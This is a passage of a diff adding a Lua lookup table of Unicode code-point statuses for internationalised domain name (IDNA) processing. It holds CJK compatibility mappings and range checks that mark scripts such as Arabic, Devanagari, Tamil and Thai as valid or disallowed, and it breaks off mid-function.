+ [0x2F95E] = 0x25AA7,
+ [0x2FA00] = 0x9829, -- CJK COMPATIBILITY IDEOGRAPH-2FA00
+ [0x2FA01] = 0x295B6, -- CJK COMPATIBILITY IDEOGRAPH-2FA01
+ [0x2FA02] = 0x98E2, -- CJK COMPATIBILITY IDEOGRAPH-2FA02
+ [0x2FA03] = 0x4B33, -- CJK COMPATIBILITY IDEOGRAPH-2FA03
+ [0x2FA04] = 0x9929, -- CJK COMPATIBILITY IDEOGRAPH-2FA04
+ [0x2FA05] = 0x99A7, -- CJK COMPATIBILITY IDEOGRAPH-2FA05
+ [0x2FA06] = 0x99C2, -- CJK COMPATIBILITY IDEOGRAPH-2FA06
+ [0x2FA07] = 0x99FE, -- CJK COMPATIBILITY IDEOGRAPH-2FA07
+ [0x2FA08] = 0x4BCE, -- CJK COMPATIBILITY IDEOGRAPH-2FA08
+ [0x2FA09] = 0x29B30, -- CJK COMPATIBILITY IDEOGRAPH-2FA09
+ [0x2FA0A] = 0x9B12, -- CJK COMPATIBILITY IDEOGRAPH-2FA0A
+ [0x2FA0B] = 0x9C40, -- CJK COMPATIBILITY IDEOGRAPH-2FA0B
+ [0x2FA0C] = 0x9CFD, -- CJK COMPATIBILITY IDEOGRAPH-2FA0C
+ [0x2FA0D] = 0x4CCE, -- CJK COMPATIBILITY IDEOGRAPH-2FA0D
+ [0x2FA0E] = 0x4CED, -- CJK COMPATIBILITY IDEOGRAPH-2FA0E
+ [0x2FA0F] = 0x9D67, -- CJK COMPATIBILITY IDEOGRAPH-2FA0F
+ [0x2FA10] = 0x2A0CE, -- CJK COMPATIBILITY IDEOGRAPH-2FA10
+ [0x2FA11] = 0x4CF8, -- CJK COMPATIBILITY IDEOGRAPH-2FA11
+ [0x2FA12] = 0x2A105, -- CJK COMPATIBILITY IDEOGRAPH-2FA12
+ [0x2FA13] = 0x2A20E, -- CJK COMPATIBILITY IDEOGRAPH-2FA13
+ [0x2FA14] = 0x2A291, -- CJK COMPATIBILITY IDEOGRAPH-2FA14
+ [0x2FA15] = 0x9EBB, -- CJK COMPATIBILITY IDEOGRAPH-2FA15
+ [0x2FA16] = 0x4D56, -- CJK COMPATIBILITY IDEOGRAPH-2FA16
+ [0x2FA17] = 0x9EF9, -- CJK COMPATIBILITY IDEOGRAPH-2FA17
+ [0x2FA18] = 0x9EFE, -- CJK COMPATIBILITY IDEOGRAPH-2FA18
+ [0x2FA19] = 0x9F05, -- CJK COMPATIBILITY IDEOGRAPH-2FA19
+ [0x2FA1A] = 0x9F0F, -- CJK COMPATIBILITY IDEOGRAPH-2FA1A
+ [0x2FA1B] = 0x9F16, -- CJK COMPATIBILITY IDEOGRAPH-2FA1B
+ [0x2FA1C] = 0x9F3B, -- CJK COMPATIBILITY IDEOGRAPH-2FA1C
+ [0x2FA1D] = 0x2A600, -- CJK COMPATIBILITY IDEOGRAPH-2FA1D
+ -- CJK COMPATIBILITY IDEOGRAPH-2F9FE..CJK COMPATIBILITY IDEOGRAPH-2F9FF
+ [0x2F9FE] = 0x980B,
+ [0x2F9FF] = 0x980B,
+ [0xE0000] = {status="disallowed"}, -- NA <reserved-E0000>
+ [0xE0001] = {status="disallowed"}, -- LANGUAGE TAG
+}
+
+setmetatable(tbl, {
+ __index = function (t, x)
+ if x <= 0x002C then
+ -- <control-0000>..COMMA
+ if x >= 0x0000 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0039 then
+ -- DIGIT ZERO..DIGIT NINE
+ if x >= 0x0030 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0040 then
+ -- COLON..COMMERCIAL AT
+ if x >= 0x003A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0060 then
+ -- LEFT SQUARE BRACKET..GRAVE ACCENT
+ if x >= 0x005B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x007A then
+ -- LATIN SMALL LETTER A..LATIN SMALL LETTER Z
+ if x >= 0x0061 then
+ return {status="valid"}
+ end
+ elseif x <= 0x009F then
+ -- <control-0080>..<control-009F>
+ if x >= 0x0080 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x00A7 then
+ -- INVERTED EXCLAMATION MARK..SECTION SIGN
+ if x >= 0x00A1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x00F6 then
+ -- LATIN SMALL LETTER A WITH GRAVE..LATIN SMALL LETTER O WITH DIAERESIS
+ if x >= 0x00E0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x00FF then
+ -- LATIN SMALL LETTER O WITH STROKE..LATIN SMALL LETTER Y WITH DIAERESIS
+ if x >= 0x00F8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x01C3 then
+ -- LATIN SMALL LETTER TONE FIVE..LATIN LETTER RETROFLEX CLICK
+ if x >= 0x01BD then
+ return {status="valid"}
+ end
+ elseif x <= 0x0239 then
+ -- LATIN SMALL LETTER L WITH CURL..LATIN SMALL LETTER T WITH CURL
+ -- LATIN SMALL LETTER DOTLESS J..LATIN SMALL LETTER QP DIGRAPH
+ if x >= 0x0234 then
+ return {status="valid"}
+ end
+ elseif x <= 0x02AF then
+ -- LATIN SMALL LETTER TURNED A..LATIN SMALL LETTER TC DIGRAPH WITH CURL
+ -- LATIN SMALL LETTER FENG DIGRAPH..LATIN LETTER BIDENTAL PERCUSSIVE
+ -- LATIN SMALL LETTER TURNED H WITH FISHHOOK..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
+ if x >= 0x0250 then
+ return {status="valid"}
+ end
+ elseif x <= 0x02C1 then
+ -- MODIFIER LETTER PRIME..MODIFIER LETTER REVERSED GLOTTAL STOP
+ if x >= 0x02B9 then
+ return {status="valid"}
+ end
+ elseif x <= 0x02D1 then
+ -- MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON
+ if x >= 0x02C6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x02D7 then
+ -- MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER MINUS SIGN
+ if x >= 0x02D2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x02EB then
+ -- MODIFIER LETTER EXTRA-HIGH TONE BAR..MODIFIER LETTER EXTRA-LOW TONE BAR
+ -- MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK
+ if x >= 0x02E5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x02FF then
+ -- MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW
+ if x >= 0x02EF then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x033F then
+ -- COMBINING GRAVE ACCENT..COMBINING DOUBLE OVERLINE
+ if x >= 0x0300 then
+ return {status="valid"}
+ end
+ elseif x <= 0x034E then
+ -- COMBINING BRIDGE ABOVE..COMBINING UPWARDS ARROW BELOW
+ if x >= 0x0346 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0361 then
+ -- COMBINING RIGHT ARROWHEAD ABOVE..COMBINING RIGHT HALF RING ABOVE
+ -- COMBINING DOT ABOVE RIGHT..COMBINING DOUBLE BREVE BELOW
+ -- COMBINING DOUBLE BREVE..COMBINING DOUBLE MACRON BELOW
+ -- COMBINING DOUBLE TILDE..COMBINING DOUBLE INVERTED BREVE
+ if x >= 0x0350 then
+ return {status="valid"}
+ end
+ elseif x <= 0x036F then
+ -- COMBINING LATIN SMALL LETTER A..COMBINING LATIN SMALL LETTER X
+ if x >= 0x0363 then
+ return {status="valid"}
+ end
+ elseif x <= 0x03C1 then
+ -- GREEK SMALL LETTER ALPHA WITH TONOS..GREEK SMALL LETTER RHO
+ if x >= 0x03AC then
+ return {status="valid"}
+ end
+ elseif x <= 0x03CE then
+ -- GREEK SMALL LETTER SIGMA..GREEK SMALL LETTER OMEGA WITH TONOS
+ if x >= 0x03C3 then
+ return {status="valid"}
+ end
+ elseif x <= 0x044F then
+ -- CYRILLIC SMALL LETTER A..CYRILLIC SMALL LETTER YA
+ if x >= 0x0430 then
+ return {status="valid"}
+ end
+ elseif x <= 0x045C then
+ -- CYRILLIC SMALL LETTER IO..CYRILLIC SMALL LETTER KJE
+ if x >= 0x0451 then
+ return {status="valid"}
+ end
+ elseif x <= 0x055F then
+ -- ARMENIAN APOSTROPHE..ARMENIAN ABBREVIATION MARK
+ if x >= 0x055A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0586 then
+ -- ARMENIAN SMALL LETTER AYB..ARMENIAN SMALL LETTER FEH
+ if x >= 0x0561 then
+ return {status="valid"}
+ end
+ elseif x <= 0x05A1 then
+ -- HEBREW ACCENT ETNAHTA..HEBREW ACCENT PAZER
+ if x >= 0x0591 then
+ return {status="valid"}
+ end
+ elseif x <= 0x05B9 then
+ -- HEBREW ACCENT MUNAH..HEBREW MARK MASORA CIRCLE
+ -- HEBREW POINT SHEVA..HEBREW POINT HOLAM
+ if x >= 0x05A3 then
+ return {status="valid"}
+ end
+ elseif x <= 0x05CF then
+ -- NA <reserved-05C8>..<reserved-05CF>
+ if x >= 0x05C8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x05EA then
+ -- HEBREW LETTER ALEF..HEBREW LETTER TAV
+ if x >= 0x05D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0603 then
+ -- NA <reserved-05F5>..<reserved-05FF>
+ -- ARABIC NUMBER SIGN..ARABIC SIGN SAFHA
+ if x >= 0x05F5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x061A then
+ -- ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL HIGH TAH
+ -- ARABIC SMALL HIGH LIGATURE ALEF WITH LAM WITH YEH..ARABIC SMALL KASRA
+ if x >= 0x0610 then
+ return {status="valid"}
+ end
+ elseif x <= 0x063F then
+ -- ARABIC LETTER HAMZA..ARABIC LETTER GHAIN
+ -- ARABIC LETTER KEHEH WITH TWO DOTS ABOVE..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
+ if x >= 0x0621 then
+ return {status="valid"}
+ end
+ elseif x <= 0x065E then
+ -- ARABIC LETTER FEH..ARABIC SUKUN
+ -- ARABIC MADDAH ABOVE..ARABIC HAMZA BELOW
+ -- ARABIC SUBSCRIPT ALEF..ARABIC MARK NOON GHUNNA
+ -- ARABIC ZWARAKAY..ARABIC FATHA WITH TWO DOTS
+ if x >= 0x0641 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0669 then
+ -- ARABIC-INDIC DIGIT ZERO..ARABIC-INDIC DIGIT NINE
+ if x >= 0x0660 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0674 then
+ -- ARABIC LETTER DOTLESS BEH..ARABIC LETTER DOTLESS QAF
+ -- ARABIC LETTER SUPERSCRIPT ALEF..ARABIC LETTER HIGH HAMZA
+ if x >= 0x066E then
+ return {status="valid"}
+ end
+ elseif x <= 0x06BE then
+ -- ARABIC LETTER TTEH..ARABIC LETTER LAM WITH THREE DOTS ABOVE
+ -- ARABIC LETTER LAM WITH THREE DOTS BELOW..ARABIC LETTER NOON WITH DOT BELOW
+ -- ARABIC LETTER NOON GHUNNA..ARABIC LETTER HEH DOACHASHMEE
+ if x >= 0x0679 then
+ return {status="valid"}
+ end
+ elseif x <= 0x06CE then
+ -- ARABIC LETTER HEH WITH YEH ABOVE..ARABIC LETTER YEH WITH SMALL V
+ if x >= 0x06C0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x06DC then
+ -- ARABIC LETTER AE..ARABIC SMALL HIGH SEEN
+ if x >= 0x06D5 then
+ return {status="valid"}
+ end
+ elseif x <= 0x06E8 then
+ -- ARABIC SMALL HIGH ROUNDED ZERO..ARABIC SMALL HIGH NOON
+ if x >= 0x06DF then
+ return {status="valid"}
+ end
+ elseif x <= 0x06FE then
+ -- ARABIC EMPTY CENTRE LOW STOP..ARABIC SMALL LOW MEEM
+ -- ARABIC LETTER DAL WITH INVERTED V..ARABIC LETTER REH WITH INVERTED V
+ -- EXTENDED ARABIC-INDIC DIGIT ZERO..EXTENDED ARABIC-INDIC DIGIT NINE
+ -- ARABIC LETTER SHEEN WITH DOT BELOW..ARABIC SIGN SINDHI POSTPOSITION MEN
+ if x >= 0x06EA then
+ return {status="valid"}
+ end
+ elseif x <= 0x070D then
+ -- SYRIAC END OF PARAGRAPH..SYRIAC HARKLEAN ASTERISCUS
+ if x >= 0x0700 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x074A then
+ -- SYRIAC LETTER ALAPH..SYRIAC LETTER TAW
+ -- SYRIAC LETTER PERSIAN BHETH..SYRIAC LETTER PERSIAN DHALATH
+ -- SYRIAC PTHAHA ABOVE..SYRIAC BARREKH
+ if x >= 0x0710 then
+ return {status="valid"}
+ end
+ elseif x <= 0x07B0 then
+ -- SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE
+ -- ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW..ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE
+ -- ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW..ARABIC LETTER KAF WITH TWO DOTS ABOVE
+ -- THAANA LETTER HAA..THAANA SUKUN
+ if x >= 0x074D then
+ return {status="valid"}
+ end
+ elseif x <= 0x07BF then
+ -- NA <reserved-07B2>..<reserved-07BF>
+ if x >= 0x07B2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x07F5 then
+ -- NKO DIGIT ZERO..NKO LOW TONE APOSTROPHE
+ if x >= 0x07C0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x082D then
+ -- SAMARITAN LETTER ALAF..SAMARITAN MARK NEQUDAA
+ if x >= 0x0800 then
+ return {status="valid"}
+ end
+ elseif x <= 0x083E then
+ -- SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
+ if x >= 0x0830 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x085B then
+ -- MANDAIC LETTER HALQA..MANDAIC GEMINATION MARK
+ if x >= 0x0840 then
+ return {status="valid"}
+ end
+ elseif x <= 0x086A then
+ -- SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
+ if x >= 0x0860 then
+ return {status="valid"}
+ end
+ elseif x <= 0x089F then
+ -- NA <reserved-086B>..<reserved-089F>
+ if x >= 0x086B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x08B4 then
+ -- ARABIC LETTER JEEM WITH TWO DOTS ABOVE..ARABIC LETTER ROHINGYA YEH
+ -- ARABIC LETTER LOW ALEF..ARABIC LETTER ZAIN WITH INVERTED V ABOVE
+ -- ARABIC LETTER AIN WITH THREE DOTS BELOW..ARABIC LETTER KAF WITH DOT BELOW
+ if x >= 0x08A2 then
+ return {status="valid"}
+ end
+ elseif x <= 0x08BD then
+ -- ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
+ if x >= 0x08B6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x08D3 then
+ -- NA <reserved-08BE>..<reserved-08D3>
+ if x >= 0x08BE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x08E1 then
+ -- ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
+ if x >= 0x08D4 then
+ return {status="valid"}
+ end
+ elseif x <= 0x08FE then
+ -- ARABIC CURLY FATHA..ARABIC DAMMA WITH DOT
+ if x >= 0x08E4 then
+ return {status="valid"}
+ end
+ elseif x <= 0x094D then
+ -- DEVANAGARI LETTER A..DEVANAGARI LETTER HA
+ -- DEVANAGARI VOWEL SIGN OE..DEVANAGARI VOWEL SIGN OOE
+ -- DEVANAGARI SIGN NUKTA..DEVANAGARI SIGN VIRAMA
+ if x >= 0x0905 then
+ return {status="valid"}
+ end
+ elseif x <= 0x096F then
+ -- DEVANAGARI DIGIT ZERO..DEVANAGARI DIGIT NINE
+ if x >= 0x0966 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0977 then
+ -- DEVANAGARI SIGN HIGH SPACING DOT..DEVANAGARI LETTER CANDRA A
+ -- DEVANAGARI LETTER OE..DEVANAGARI LETTER UUE
+ if x >= 0x0971 then
+ return {status="valid"}
+ end
+ elseif x <= 0x098C then
+ -- BENGALI LETTER A..BENGALI LETTER VOCALIC L
+ if x >= 0x0985 then
+ return {status="valid"}
+ end
+ elseif x <= 0x09A8 then
+ -- BENGALI LETTER O..BENGALI LETTER NA
+ if x >= 0x0993 then
+ return {status="valid"}
+ end
+ elseif x <= 0x09B0 then
+ -- BENGALI LETTER PA..BENGALI LETTER RA
+ if x >= 0x09AA then
+ return {status="valid"}
+ end
+ elseif x <= 0x09C4 then
+ -- BENGALI VOWEL SIGN AA..BENGALI VOWEL SIGN VOCALIC RR
+ if x >= 0x09BE then
+ return {status="valid"}
+ end
+ elseif x <= 0x09D6 then
+ -- NA <reserved-09CF>..<reserved-09D6>
+ if x >= 0x09CF then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x09F1 then
+ -- BENGALI DIGIT ZERO..BENGALI LETTER RA WITH LOWER DIAGONAL
+ if x >= 0x09E6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x09FA then
+ -- BENGALI RUPEE MARK..BENGALI ISSHAR
+ if x >= 0x09F2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0A0A then
+ -- GURMUKHI LETTER A..GURMUKHI LETTER UU
+ if x >= 0x0A05 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0A28 then
+ -- GURMUKHI LETTER OO..GURMUKHI LETTER NA
+ if x >= 0x0A13 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0A30 then
+ -- GURMUKHI LETTER PA..GURMUKHI LETTER RA
+ if x >= 0x0A2A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0A58 then
+ -- NA <reserved-0A52>..<reserved-0A58>
+ if x >= 0x0A52 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0A65 then
+ -- NA <reserved-0A5F>..<reserved-0A65>
+ if x >= 0x0A5F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0A74 then
+ -- GURMUKHI DIGIT ZERO..GURMUKHI EK ONKAR
+ if x >= 0x0A66 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0A80 then
+ -- NA <reserved-0A76>..<reserved-0A80>
+ if x >= 0x0A76 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0A8B then
+ -- GUJARATI LETTER A..GUJARATI LETTER VOCALIC R
+ if x >= 0x0A85 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0AA8 then
+ -- GUJARATI LETTER O..GUJARATI LETTER NA
+ if x >= 0x0A93 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0AB0 then
+ -- GUJARATI LETTER PA..GUJARATI LETTER RA
+ if x >= 0x0AAA then
+ return {status="valid"}
+ end
+ elseif x <= 0x0AC5 then
+ -- GUJARATI SIGN NUKTA..GUJARATI VOWEL SIGN CANDRA E
+ if x >= 0x0ABC then
+ return {status="valid"}
+ end
+ elseif x <= 0x0ADF then
+ -- NA <reserved-0AD1>..<reserved-0ADF>
+ if x >= 0x0AD1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0AEF then
+ -- GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE
+ if x >= 0x0AE6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0AF8 then
+ -- NA <reserved-0AF2>..<reserved-0AF8>
+ if x >= 0x0AF2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0AFF then
+ -- GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
+ if x >= 0x0AFA then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B0C then
+ -- ORIYA LETTER A..ORIYA LETTER VOCALIC L
+ if x >= 0x0B05 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B28 then
+ -- ORIYA LETTER O..ORIYA LETTER NA
+ if x >= 0x0B13 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B30 then
+ -- ORIYA LETTER PA..ORIYA LETTER RA
+ if x >= 0x0B2A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B43 then
+ -- ORIYA SIGN NUKTA..ORIYA VOWEL SIGN VOCALIC R
+ if x >= 0x0B3C then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B55 then
+ -- NA <reserved-0B4E>..<reserved-0B55>
+ if x >= 0x0B4E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0B6F then
+ -- ORIYA DIGIT ZERO..ORIYA DIGIT NINE
+ if x >= 0x0B66 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0B77 then
+ -- ORIYA FRACTION ONE QUARTER..ORIYA FRACTION THREE SIXTEENTHS
+ if x >= 0x0B72 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0B81 then
+ -- NA <reserved-0B78>..<reserved-0B81>
+ if x >= 0x0B78 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0B8A then
+ -- TAMIL LETTER A..TAMIL LETTER UU
+ if x >= 0x0B85 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0BB5 then
+ -- TAMIL LETTER MA..TAMIL LETTER VA
+ if x >= 0x0BAE then
+ return {status="valid"}
+ end
+ elseif x <= 0x0BD6 then
+ -- NA <reserved-0BD1>..<reserved-0BD6>
+ if x >= 0x0BD1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0BE5 then
+ -- NA <reserved-0BD8>..<reserved-0BE5>
+ if x >= 0x0BD8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0BEF then
+ -- TAMIL DIGIT ONE..TAMIL DIGIT NINE
+ if x >= 0x0BE7 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0BFA then
+ -- TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND
+ -- TAMIL DAY SIGN..TAMIL NUMBER SIGN
+ if x >= 0x0BF0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0C0C then
+ -- TELUGU LETTER A..TELUGU LETTER VOCALIC L
+ if x >= 0x0C05 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0C28 then
+ -- TELUGU LETTER O..TELUGU LETTER NA
+ if x >= 0x0C12 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0C33 then
+ -- TELUGU LETTER PA..TELUGU LETTER LLA
+ if x >= 0x0C2A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0C44 then
+ -- TELUGU VOWEL SIGN AA..TELUGU VOWEL SIGN VOCALIC RR
+ if x >= 0x0C3E then
+ return {status="valid"}
+ end
+ elseif x <= 0x0C54 then
+ -- NA <reserved-0C4E>..<reserved-0C54>
+ if x >= 0x0C4E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0C6F then
+ -- TELUGU DIGIT ZERO..TELUGU DIGIT NINE
+ if x >= 0x0C66 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0C77 then
+ -- NA <reserved-0C70>..<reserved-0C77>
+ if x >= 0x0C70 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0C7F then
+ -- TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR..TELUGU SIGN TUUMU
+ if x >= 0x0C78 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0C8C then
+ -- KANNADA LETTER A..KANNADA LETTER VOCALIC L
+ if x >= 0x0C85 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0CA8 then
+ -- KANNADA LETTER O..KANNADA LETTER NA
+ if x >= 0x0C92 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0CB3 then
+ -- KANNADA LETTER PA..KANNADA LETTER LLA
+ if x >= 0x0CAA then
+ return {status="valid"}
+ end
+ elseif x <= 0x0CC4 then
+ -- KANNADA SIGN NUKTA..KANNADA SIGN AVAGRAHA
+ -- KANNADA VOWEL SIGN AA..KANNADA VOWEL SIGN VOCALIC RR
+ if x >= 0x0CBC then
+ return {status="valid"}
+ end
+ elseif x <= 0x0CD4 then
+ -- NA <reserved-0CCE>..<reserved-0CD4>
+ if x >= 0x0CCE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0CDD then
+ -- NA <reserved-0CD7>..<reserved-0CDD>
+ if x >= 0x0CD7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0CEF then
+ -- KANNADA DIGIT ZERO..KANNADA DIGIT NINE
+ if x >= 0x0CE6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0CFF then
+ -- NA <reserved-0CF3>..<reserved-0CFF>
+ if x >= 0x0CF3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0D0C then
+ -- MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
+ if x >= 0x0D05 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D28 then
+ -- MALAYALAM LETTER O..MALAYALAM LETTER NA
+ if x >= 0x0D12 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D39 then
+ -- MALAYALAM LETTER PA..MALAYALAM LETTER HA
+ if x >= 0x0D2A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D43 then
+ -- MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN VOCALIC R
+ if x >= 0x0D3E then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D5E then
+ -- MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH..MALAYALAM FRACTION ONE FIFTH
+ if x >= 0x0D58 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0D6F then
+ -- MALAYALAM DIGIT ZERO..MALAYALAM DIGIT NINE
+ if x >= 0x0D66 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D78 then
+ -- MALAYALAM NUMBER TEN..MALAYALAM FRACTION THREE QUARTERS
+ -- MALAYALAM FRACTION ONE SIXTEENTH..MALAYALAM FRACTION THREE SIXTEENTHS
+ if x >= 0x0D70 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0D7F then
+ -- MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K
+ if x >= 0x0D7A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0D96 then
+ -- SINHALA LETTER AYANNA..SINHALA LETTER AUYANNA
+ if x >= 0x0D85 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DB1 then
+ -- SINHALA LETTER ALPAPRAANA KAYANNA..SINHALA LETTER DANTAJA NAYANNA
+ if x >= 0x0D9A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DBB then
+ -- SINHALA LETTER SANYAKA DAYANNA..SINHALA LETTER RAYANNA
+ if x >= 0x0DB3 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DC6 then
+ -- SINHALA LETTER VAYANNA..SINHALA LETTER FAYANNA
+ if x >= 0x0DC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DD4 then
+ -- SINHALA VOWEL SIGN AELA-PILLA..SINHALA VOWEL SIGN KETTI PAA-PILLA
+ if x >= 0x0DCF then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DDF then
+ -- SINHALA VOWEL SIGN GAETTA-PILLA..SINHALA VOWEL SIGN GAYANUKITTA
+ if x >= 0x0DD8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0DE5 then
+ -- NA <reserved-0DE0>..<reserved-0DE5>
+ if x >= 0x0DE0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0DEF then
+ -- SINHALA LITH DIGIT ZERO..SINHALA LITH DIGIT NINE
+ if x >= 0x0DE6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0E00 then
+ -- NA <reserved-0DF5>..<reserved-0E00>
+ if x >= 0x0DF5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0E32 then
+ -- THAI CHARACTER KO KAI..THAI CHARACTER SARA AA
+ if x >= 0x0E01 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0E3A then
+ -- THAI CHARACTER SARA I..THAI CHARACTER PHINTHU
+ if x >= 0x0E34 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0E4E then
+ -- THAI CHARACTER SARA E..THAI CHARACTER YAMAKKAN
+ if x >= 0x0E40 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0E59 then
+ -- THAI DIGIT ZERO..THAI DIGIT NINE
+ if x >= 0x0E50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0E80 then
+ -- NA <reserved-0E5C>..<reserved-0E80>
+ if x >= 0x0E5C then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0E93 then
+ -- NA <reserved-0E8E>..<reserved-0E93>
+ if x >= 0x0E8E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0E9F then
+ -- LAO LETTER NO..LAO LETTER FO SUNG
+ if x >= 0x0E99 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0EB2 then
+ -- LAO LETTER O..LAO VOWEL SIGN AA
+ if x >= 0x0EAD then
+ return {status="valid"}
+ end
+ elseif x <= 0x0EB9 then
+ -- LAO VOWEL SIGN I..LAO VOWEL SIGN UU
+ if x >= 0x0EB4 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0ECD then
+ -- LAO TONE MAI EK..LAO NIGGAHITA
+ if x >= 0x0EC8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0ED9 then
+ -- LAO DIGIT ZERO..LAO DIGIT NINE
+ if x >= 0x0ED0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0EFF then
+ -- NA <reserved-0EE0>..<reserved-0EFF>
+ if x >= 0x0EE0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0F0A then
